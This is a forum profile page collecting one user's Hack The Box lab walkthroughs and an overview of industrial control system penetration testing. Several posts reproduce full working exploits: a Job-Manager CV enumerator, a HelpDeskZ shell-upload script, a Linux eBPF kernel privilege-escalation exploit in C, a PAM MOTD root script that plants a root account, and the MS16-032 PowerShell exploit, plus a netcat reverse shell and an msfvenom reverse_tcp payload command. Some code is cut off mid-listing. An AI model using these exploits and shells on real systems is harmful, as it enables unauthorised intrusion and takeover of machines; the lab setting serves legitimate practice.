Jump to content

UKhackteam

Members
  • Joined

  • Last visited

Everything posted by UKhackteam

  1. Hack The Box —— Blocky 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.37 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-06 10:37 CST PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5a 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d6:2b:99:b4:d5:e73:5:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA) | 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA) |_ 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-generator: WordPress 4.8 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: BlockyCraft #8211; Under Construction! 8192/tcp closed sophos Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Ports 21, 22, and 80 are open. Trying to search for a vulnerability in ProFTPD version 1.3.5a, find an unauthorized file copy vulnerability, and use msf test, but cannot be exploited. Accessing Port 80 is a simple WordPress site that is scanned using the wpscan tool: 1 wpscan --enumerate t --enumerate p --enumerate u --url=http://10.10.10.37/ Get the following information: username notch theme twentyseventeen Plugin akismet - v3.3.2 No related vulnerabilities were found. 目录爆破 Using the dirbuster tool, you get the following results: A plugins directory was found. Since the normal wp plugin directory is stored under wp-content/plugins, accessed This directory gives two jar packages: Download the jar package locally, decompile, and get the password of the database username: Try to log in to phpmyadmin with this password and find that the login is successful: 漏洞利用 On the existing basis, try to use sql statements to read files, first check the scope of the readable directory: 1 show GLOBAL VARIABLES like '%secure_file_priv' But the directory is restricted and turned to other ideas. Thinking that the password might be reused, I used my notch account and mysql password to log in to ssh. You can log in if you find it. Check user.txt to get the first flag. I tried to increase the permissions, but after trying many methods, I suddenly thought of using the same password to cut to the root user again, and found that I successfully cut to the root. Check root.txt to get the second flag.
  2. Hack The Box —— Tenten 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.6 I found that the server opened a 22-port and 80-port browser to access the http service and found the wordpress site. 漏洞扫描 Use the wpscan tool to scan the information of a wave of wordpress website: 1 wpscan --enumerate t --enumerate p --enumerate u --url=http://10.10.10.10/ Discover username: Plugin vulnerability: 漏洞利用 Search for Job-Manager-related vulnerabilities and found that users can use this plug-in to upload CVs. Since the file uploaded by wordpress is stored in upload/year/month/filename, the uploaded CV file can be blasted, causing information leakage. First visit Jobs Listing: Get job details under apply now: Change the number value in the url to get other JOB APPLICATION. Use the following command to enumerate the job title: Discover HackerAccessGranted title, try to use exp to upload cv enumeration of user upload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three import requests print ''' CVE-2015-6668 Title: CV filename disclosure on Job-Manager WP Plugin Author: Evangelos Mourikis Blog: https://vagmour.eu Plugin URL: http://www.wp-jobmanager.com Versions:=0.7.25 ''' website=raw_input('Enter a vulnerable website: ') filename=raw_input('Enter a file name: ') filename2=filename.replace(' ', '-') for year in range(2016, 2019): for i in range(1,13): for extension in {'php','html','pdf','png','gif','jpg','jpeg'}: URL=website + '/wp-content/uploads/' + str(year) + '/' + '{:02}'.format(i) + '/' + filename2 + '.' + extension print URL req=requests.get(URL) if req.status_code==200: print '[+] URL of CV found! ' + URL The following sensitive files were found: Visit and get a picture. To guess the image steganography, use steghide extract -sf HackerAccessGranted.jpg to get the id_rsa file. Open the id_rsa file and find that the file is encrypted: Use the ssh2john script file to convert encrypted content into files that john can crack 1 python2 ssh2john id_rsa ssh_login get: Password cracking using john: 1 john ssh_login --wordlist=rockyou.txt Get the password of id_rsa: superpassword. Try to log in to the server: 1 ssh -i id_rsa [email protected] Get the first flag. Try to enter the root directory and find that the permissions are insufficient. Use the sudo -l command to view commands that do not require password: Discover the /bin/fuckin file and view the file content: Execute: sudo /bin/fuckin /bin/bash to obtain root permissions:
  3. 工控安全渗透 工业控制系统的结构和场景 工业控制系统场景——啤酒厂 Beer factory layout Monitoring Control Room Production line equipment 工业控制系统结构 Sensors and actuators Programmable Controller (PLC) Industrial network and field bus Industrial computer and industrial configuration software 工业控制系统应用场景 Process automation control system It is used in process industries, such as: petroleum, chemical industry, medicine. Metallurgy, water treatment Corresponding control systems: DCS (distributed control system), large PLC is the main one, and the number of IO points of a single controller (number of sensors and actuators) is mostly above 2,000 points, with a fully redundant architecture Factory automation control system Application in discrete industries, such as: automobiles, ports, tobacco Corresponding control system: mainly based on PLC, mainly bundled with equipment, with a single control IO point of less than 2,000 points, and a single machine. 工业控制系统厂商和产品介绍 Siemens——控制系统家族 s7-1500 Control System S7-1200 Control System S7-300/400 Control System S7-WINAC control system (PC simulation PLC, mostly used in college research) Siemens——组态家族 TIA Blog/Step7 (Programming) WINCC configuration monitoring software (monitoring) PLCSIM simulation software (preliminary simulation) Siemens——通讯协议及端口 S7 Comm protocol (private protocol) Communication Port (102) Rockwell Automation——控制系统家族 Controllogix Control System Compactlogix Control System MicroLogix Control System Softlogix Control System Rockwell Automation——组态家族 Studio5000/RSLogix 5000 configuration software FactoryTalk SE configuration monitoring software Emulation simulation software Rockwell Automation——通讯协议及端口 Ethernet/IP (public protocol) Communication port 44818/2222 工业控制系统脆弱性分析 工业控制协议漏洞 The industrial control protocol used lacks identity authentication The protocols used in industrial control systems lack authorization mechanisms The industrial control protocol used lacks encryption protection PLC 代码逻辑漏洞 Computational logic vulnerability Check out the timeout loophole at the door Buffer overflow vulnerability 工业以太网链路漏洞 MAC flood attack ARP overflow/man-in-the-middle attack Ring beacon protocol attack VLAN jump attack Switch WEB vulnerability attack 主机安全漏洞 Firewall shutdown No soft-kill protection Lack of USB access Windows itself vulnerability SMB v1.0 Port 445 RDP Port 3389 AD Domain Attack DNS pollution attacks 组态软件漏洞 DoS denial of service attack Buffer overflow vulnerability COM Service Component Unauthorized Access Vulnerability SQL Database Injection Vulnerability 物理安全漏洞 The equipment location is not protected Computer room cabinet is not locked Network port not reinforced Controller key not pulled out The power supply is a single channel Incomplete grounding system 工业控制系统渗透工具利用 Demo 场景 nmap 指纹扫描 1 nmap -p port --script scada protocol ip address Reference: https://github.com/jianshting/NMAP-NSE-SCADA Yersinia 二层网络的攻击 1 Yersinia -G Reference: https://github.com/tomcat/yersinia Snap7 协议层的攻击 s7 Client.exe MSF 主机攻击和后渗透 Penetration and control of PC hosts (same as traditional intranet penetration) ISF 工控渗透工具 Open source industrial control penetration framework Reference: https://github.com/dark-lbp/isf 工业控制系统安全防御 区域边界 Industrial firewall, regional firewall, network gate 网络安全 Switch free port shutdown, native VLAN, CDP disabled or: LLDP, handshake packet encryption 主机安全 Soft-killing, firewall, baseline security, U-port access, application whitelist 控制器安全 Protocol encryption, injection control, identity authentication 物理安全 Grounding safety, dual power supply, locking of electric cabinets
  4. Hack The Box —— Help 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.121 It is found that ports 22, 80, and 3000 are open, and accessing port 80 is a default page for apache. 目录爆破 Use dirbuster to blast the directory: Discover the support directory and access it to: Search for helpdeskz related vulnerabilities and found a vulnerability to upload arbitrary file: https://www.exploit-db.com/exploits/40300 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 import hashlib import time import sys import requests print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit' if len(sys.argv) 3: print 'Usage: {} [baseUrl] [nameOfUploadedFile]'.format(sys.argv[0]) sys.exit(1) helpdeskzBaseUrl=sys.argv[1] fileName=sys.argv[2] currentTime=int(time.time()) for x in range(0, 300): plaintext=fileName + str(currentTime - x) md5hash=hashlib.md5(plaintext).hexdigest() url=helpdeskzBaseUrl+md5hash+'.php' response=requests.head(url) if response.status_code==200: print 'found!' print url sys.exit(0) print 'Sorry, I did not find anything' 漏洞利用 First, upload a script file that rebounds the shell at submit a ticket: return: Then, execute the exp script: 1 python2 poc.py http://10.10.10.121/support/uploads/tickets/1.php However, the shell cannot be accessed here anyway. Later, after querying the relevant information, I learned that the number obtained by current - x is incorrect because the time zone in the server area is different from that in the domestic time zone. Therefore, the script is slightly changed: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 import hashlib import time, calendar import sys import requests print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit' if len(sys.argv) 3: print 'Usage: {} [baseUrl] [nameOfUploadedFile]'.format(sys.argv[0]) sys.exit(1) helpdeskzBaseUrl=sys.argv[1] fileName=sys.argv[2] # currentTime=int(time.time()) response=requests.head(helpdeskzBaseUrl) serverTime=response.headers['Date'] print serverTime timeFormat='%a, %d %b %Y %H:%M:%S %Z' currentTime=int(calendar.timegm(time.strptime(serverTime, timeFormat))) print currentTime for x in range(0, 90): plaintext=fileName + str(currentTime - x) md5hash=hashlib.md5(plaintext).hexdigest() url=helpdeskzBaseUrl+md5hash+'.php' response=requests.head(url) if response.status_code==200: print 'found!' print url sys.exit(0) print 'Sorry, I did not find anything' Successfully rebounded shell: Check user.txt to get the first flag Whoami view permissions, ordinary user permissions when discovering uname -a Check the kernel version number and try to increase the kernel's authority. 提权 Search for relevant kernel version vulnerability information and found https://www.exploit-db.com/exploits/44298 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 /* * Ubuntu 16.04.4 kernel priv esc * * all credits to @bleidl * - vnik */ //Tested on: //4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 //if different kernel adjust CRED offset + check kernel stack size #include stdio.h #include stdlib.h #include unistd.h #include errno.h #include fcntl.h #include string.h #include linux/bpf.h #include linux/unistd.h #include sys/mman.h #include sys/types.h #include sys/socket.h #include sys/un.h #include sys/stat.h #include stdint.h #define PHYS_OFFSET0xffff880000000000 #define CRED_OFFSET0x5f8 #define UID_OFFSET 4 #define LOG_BUF_SIZE 65536 #define PROGSIZE 328 int sockets[2]; int mapfd, progfd; char *__prog='\xb4\x09\x00\x00\xff\xff\xff\xff\xff\xff' '\x55\x09\x02\x00\xff\xff\xff\xff\xff\xff' '\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x18\x19\x00\x00\x03\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\x91\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x07\x02\x00\x00\xfc\xff\xff\xff\xff\xff' '\x62\x0a\xfc\xff\x00\x00\x00\x00\x00\x00' '\x85\x00\x00\x00\x01\x00\x00\x00\x00' '\x55\x00\x01\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x79\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\x91\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x07\x02\x00\x00\xfc\xff\xff\xff\xff\xff' '\x62\x0a\xfc\xff\x01\x00\x00\x00' '\x85\x00\x00\x00\x01\x00\x00\x00\x00' '\x55\x00\x01\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x79\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\x91\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x07\x02\x00\x00\xfc\xff\xff\xff\xff\xff' '\x62\x0a\xfc\xff\x02\x00\x00\x00' '\x85\x00\x00\x00\x01\x00\x00\x00\x00' '\x55\x00\x01\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x79\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xbf\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x55\x06\x03\x00\x00\x00\x00\x00\x00\x00' '\x79\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x7b\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x55\x06\x02\x00\x01\x00\x00\x00' '\x7b\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x7b\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x95\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'; char bpf_log_buf[LOG_BUF_SIZE]; static int bpf_prog_load(enum bpf_prog_type prog_type, const struct bpf_insn *insns, int prog_len, const char *license, int kern_version) { union bpf_attr attr={ .prog_type=prog_type, .insns=(__u64)insns, .insn_cnt=prog_len/sizeof(struct bpf_insn), .license=(__u64)license, .log_buf=(__u64)bpf_log_buf, .log_size=LOG_BUF_SIZE, .log_level=1, }; attr.kern_version=kern_version; bpf_log_buf[0]=0; return syscall(__NR_bpf, BPF_PROG_LOAD, attr, sizeof(attr)); } static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, int max_entries) { union bpf_attr attr={ .map_type=map_type, .key_size=key_size, .value_size=value_size, .max_entries=max_entries }; return syscall(__NR_bpf, BPF_MAP_CREATE, attr, sizeof(attr)); } static int bpf_update_elem(uint64_t key, uint64_t value) { union bpf_attr attr={ .map_fd=mapfd, .key=(__u64)key, .value=(__u64)value, .flags=0, }; return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, attr, sizeof(attr)); } static int bpf_lookup_elem(void *key, void *value) { union bpf_attr attr={ .map_fd=mapfd, .key=(__u64)key, .value=(__u64)value, }; return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, attr, sizeof(attr)); } static void __exit(char *err) { fprintf(stderr, 'error: %s\n', err); exit(-1); } static void prep(void) { mapfd=bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); if (mapfd 0) __exit(strerror(errno)); progfd=bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, 'GPL', 0); if (progfd 0) __exit(strerror(errno)); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, progfd, sizeof(progfd)) 0) __exit(strerror(errno)); } static void writemsg(void) { char buffer[64]; ssize_t n=write(sockets[0], buffer, sizeof(buffer)); if (n 0) { perror('write'); return; } if (n !=sizeof(buffer)) fprintf(stderr, 'short write: %lu\n', n); } #define __update_elem(a, b, c) \ bpf_update_elem(0, (a)); \ bpf_update_elem(1, (b)); \ bpf_update_elem(2, (c)); \ writemsg(); static uint64_t get_value(int key) { uint64_t value; if (bpf_lookup_elem(key, value)) __exit(strerror(errno)); return value; } static uint64_t __get_fp(void) { __update_elem(1, 0, 0); Retur
  5. Hack The Box —— Popcorn 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.6 I found that the server opened the 22-port and 80-port browser to access the http service, and found that there was only the default page of apache. 目录扫描 Use the dirsearch tool to scan a wave of directories: 1 python3 dirsearch -u http://10.10.10.6 -e html Discover the test.php page and torrent directory, perform directory scanning for the torrent directory, and discover that the upload upload directory can be accessed, and the index.php page exists at the same time. 功能点搜索 This website is a bt seed forum site, registered users, and discovered upload page. 漏洞利用 At the upload point, I tried to upload a webshell and found that it failed. I guessed that the program detected whether the uploaded file was a standard bt seed file and did not bypass the filtering. Continue to upload the normal bt seed file and conduct further testing : I found that the uploaded seed page exists on the screenshots icon upload point. Try uploading the webshell and found that it was successfully uploaded. Visit the upload directory and get the address of the webshell: Kitchen knife connection: Successfully obtained the user's flag. At the same time, you will find the .cache folder in the home directory. After entering, you will find the motd.legal-displayed file. Use search engines to search for related documents and find: https://www.exploit-db.com/exploits/14339 Use a virtual terminal to bounce a shell to the local area to facilitate the power increase operation. Native: nc -l 4444 Victim machine: nc -e /bin/bash 10.10.14.10 4444 Upload exp scripts using kitchen knife : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #!/bin/bash # # Exploit Title: Ubuntu PAM MOTD local root # Date: July 9, 2010 # Author: Anonymous # Software Link: http://packages.ubuntu.com/ # Version: pam-1.1.0 # Tested on: Ubuntu 9.10 (Karmic Koala), Ubuntu 10.04 LTS (Lucid Lynx) # CVE: CVE-2010-0832 # Patch Instructions: sudo aptitude -y update; sudo aptitude -y install libpam~n~i # References: http://www.exploit-db.com/exploits/14273/by Kristian Erik Hermansen P='toor:x:0:0:root:/root:/bin/bash' S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:999999:7:' echo '[*] Ubuntu PAM MOTD local root' [ -z '$(which ssh)' ] echo '[-] ssh is a requirement' exit 1 [ -z '$(which ssh-keygen)' ] echo '[-] ssh-keygen is a requirement' exit 1 [ -z '$(ps -u root |grep sshd)' ] echo '[-] a running sshd is a requirement' exit 1 backup() { [ -e '$1' ] [ -e '$1'.bak ] rm -rf '$1'.bak [ -e '$1' ] || return 0 mv '$1'{,bak} || return 1 echo '[*] Backuped $1' } restore() { [ -e '$1' ] rm -rf '$1' [ -e '$1'.bak ] || return 0 mv '$1'{.bak,} || return 1 echo '[*] Restored $1' } key_create() { backup ~/.ssh/authorized_keys ssh-keygen -q -t rsa -N '' -C 'pam' -f '$KEY' || return 1 [ ! -d ~/.ssh ] { mkdir ~/.ssh || return 1; } mv '$KEY.pub' ~/.ssh/authorized_keys || return 1 echo '[*] SSH key set up' } key_remove() { rm -f '$KEY' restore ~/.ssh/authorized_keys echo '[*] SSH key removed' } own() { [ -e ~/.cache ] rm -rf ~/.cache ln -s '$1' ~/.cache || return 1 echo '[*] spawn ssh' ssh -o 'NoHostAuthenticationForLocalhost yes' -i '$KEY' localhost true [ -w '$1' ] || { echo '[-] Own $1 failed'; restore ~/.cache; bye; } echo '[+] owned: $1' } bye() { key_remove exit 1 } KEY='$(mktemp -u)' key_create || { echo '[-] Failed to setup SSH key'; exit 1; } backup ~/.cache || { echo '[-] Failed to backup ~/.cache'; bye; } own /etc/passwd echo '$P' /etc/passwd own /etc/shadow echo '$S' /etc/shadow restore ~/.cache || { echo '[-] Failed to restore ~/.cache'; bye; } key_remove echo '[+] Success! Use password toor to get root' su -c 'sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \ chgrp shadow /etc/shadow; nscd -i passwd /dev/null 21; bash' to or And give the script execution permissions: 1 chmod + x 1.sh Execute the script and obtain root permissions:
  6. Hack The Box —— Devel 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.5 It was found that the server had port 21 and port 80, and the ftp service could be accessed anonymously, but the version number was not known. The browser accesses the http service and finds that there is only the default page of iis. 目录扫描 Use the dirsearch tool to scan a wave of directories: 1 python3 dirsearch -u http://10.10.10.5 -e html No special discovery was made. FTP Anonymously accessed the FTP service and found that there is write permission in the current directory, so I want to obtain the permissions of the server by uploading the webshell. 漏洞利用 webshell First upload the webshell of aspx: When you access the browser, you find that the webshell has no error and can be executed. Link with ant sword : When accessing some directories, I found that the permissions were insufficient. Using the virtual terminal of the Ant Sword, I executed whoami and found that there was only the permissions of iis user, so I found a way to increase the power. 权限提升 Use msfvenom to generate an exe Trojan file, and use msf to receive the back-connected shell to facilitate the raising of rights. 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.10 LPORT=4444 -f exe shell.exe The generated shell.exe file is then uploaded to the target server through the Ant Sword and executed through the virtual terminal. Use msf to listen to the port and receive the connected shell : Use the detection script that comes with msf to view vulnerabilities that may be used to escalate rights: After testing one by one: it was found that ms10-015 can be used to increase power. A new session was successfully created. Execute the getuid command under meterpreter: Discovered successfully raising power. Next, you can get the flag in type c:\users\Administrator\Desktop\root.txt.txt.txt.
  7. Hack The Box —— Lame 信息搜集 nmap 1 nmap -T4 -A -v 10.10.10.8 I found that the server only had port 80, corresponding to the hfs service, browser access, and found the version number of the hfs service. exploit-db Search for related vulnerabilities and found that there is a corresponding exp on msf 漏洞利用 Use use exploit/windows/http/rejetto_hfs_exec under 010-1010 msf and configure meterpreter payload. exploit runs, rebound successfully meterpreter shell sysinfo shows that the system is 64-bit, but the meterpreter payload we use by default is 32-bit, so transfer meterpreter to a 64-bit process, such as explorer.exe Check the current directory directly, find user.txt, type to view the content, and submit it. At this time, it is found that it is non-administrator permissions, and the meterpreter uses getsystem to try to increase the authority, but it is found that it fails. Try to use msf locally to escalate rights. Looking for available exps, find that using ms16-032 can be targeted at Windows Server 2012. However, when trying, I found that it was unsuccessful and the rebound shell was not the system permission. So search for the exploit script for the vulnerability. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 function Invoke-MS16-032 { # .SYNOPSIS PowerShell implementation of MS16-032. The exploit targets all vulnerable operating systems that support PowerShell v2+. Credit for the discovery of the bug and the logic to exploit it go to James Forshaw (@tiraniddo). Targets: * Win7-Win10 2k8-2k12==32/64 bit! * Tested on x32 Win7, x64 Win8, x64 2k12R2 Notes: * In order for the race condition to succeed the machine must have 2+ CPU cores. If testing in a VM just make sure to add a core if needed mkay. * The exploit is pretty reliable, however ~1/6 times it will say it succeeded but not spawn a shell. Not sure what the issue is but just re-run and profit! * Want to know more about MS16-032== https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html .DESCRIPTION Author: Ruben Boonen (@FuzzySec) Blog: http://www.fuzzysecurity.com/ License: BSD 3-Clause Required Dependencies: PowerShell v2+ Optional Dependencies: None .PARAMETER Application Specifies an Application to run. .PARAMETER Commandline Specifies Commandline, such as net user xxx xxx /add .EXAMPLE C:\PS Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe C:\PS Invoke-MS16-032 -Application C:\Windows\System32\cmd.exe -Commandline '/c net user 1 1 /add' # [CmdletBinding()] param( [Parameter(Mandatory=$False, ParameterSetName='C:\Windows\System32\cmd.exe' )] [string] $Application, [Parameter(Mandatory=$False)] [string] $Commandline ) Add-Type -TypeDefinition @' using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] public struct STARTUPINFO { public Int32 cb; public string lpReserved; public string lpDesktop; public string lpTitle; public Int32 dwX; public Int32 dwY; public Int32 dwXSize; public Int32 dwYSize; public Int32 dwXCountChars; public Int32 dwYCountChars; public Int32 dwFillAttribute; public Int32 dwFlags; public Int16 wShowWindow; public Int16 cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SQOS { public int Length; public int ImpersonationLevel; public int ContextTrackingMode; public bool EffectiveOnly; } public static class Advapi32 { [DllImport('advapi32.dll', SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); [DllImport('advapi32.dll', SetLastError=true)] public static extern bool SetThreadToken( ref IntPtr Thread, IntPtr Token); [DllImport('advapi32.dll', SetLastError=true)] public static extern bool OpenThreadToken( IntPtr ThreadHandle, int DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle); [DllImport('advapi32.dll', SetLastError=true)] public static extern bool OpenProcessToken( IntPtr ProcessHandle, int DesiredAccess, ref IntPtr TokenHandle); [DllImport('advapi32.dll', SetLastError=true)] public extern static bool DuplicateToken( IntPtr ExistingTokenHandle, int SECURITY_IMPERSONATION_LEVEL, ref IntPtr DuplicateTokenHandle); } public static class Kernel32 { [DllImport('kernel32.dll')] public static extern uint GetLastError(); [DllImport('kernel32.dll', SetLastError=true)] public static extern IntPtr GetCurrentProcess(); [DllImport('kernel32.dll', SetLastError=true)] public static extern IntPtr GetCurrentThread(); [DllImport('kernel32.dll', SetLastError=true)] public static extern int GetThreadId(IntPtr hThread); [DllImport('kernel32.dll', SetLastError=true)] public static extern int GetProcessIdOfThread(IntPtr handle); [DllImport('kernel32.dll',SetLastError=true)] public static extern int SuspendThread(IntPtr hThread); [DllImport('kernel32.dll',SetLastError=true)] public static extern int ResumeThread(IntPtr hThread); [DllImport('kernel32.dll', SetLastError=true)] public static extern bool TerminateProcess( IntPtr hProcess, uint uExitCode); [DllImport('kernel32.dll', SetLastError=true)] public static extern bool CloseHandle(IntPtr hObject); [DllImport('kernel32.dll', SetLastError=true)] public static extern bool DuplicateHandle( IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, ref IntPtr lpTargetHandle, int dwDesiredAccess, bool bInheritHandle, int dwOptions); } public static class Ntdll { [DllImport('ntdll.dll', SetLastError=true)] public static extern int NtImpersonateThread( IntPtr ThreadHandle, IntPtr ThreadToImpersonate, ref SQOS SecurityQualityOfService); } '@ function Get-ThreadHandle { # StartupInfo Struct $StartupInfo=New-Object STARTUPINFO $StartupInfo.dwFlags=0x00000101 # STARTF_USESTDHANDLES $StartupInfo.wShowWindow=0; $StartupInfo.hStdInput=[Kernel32]:GetCurrentThread() $StartupInfo.hStdOutput=[Kernel32]:GetCurrentThread() $StartupInfo.hStdError=[Kernel32]:
  8. Hack The Box —— Lame 信息搜集与漏洞利用 First go to nmap and scan a wave: 1 nmap -T4 -A -v 10.10.10.3 Four ports were found to be opened. Search for vsftpd related vulnerabilities, and found that the 2.3.4 version comes with a backdoor. Searching on metasploit, it found that the vulnerability cannot be exploited. Instead, I looked for the samba 3.0.20 version vulnerability, and found an excellent level vulnerability on msf. Fill in the IP and exploit to execute: Bounce back to the shell. 获取flag user.txt 1 cat /home/makis/user.txt root.txt 1 cat /root/root.txt
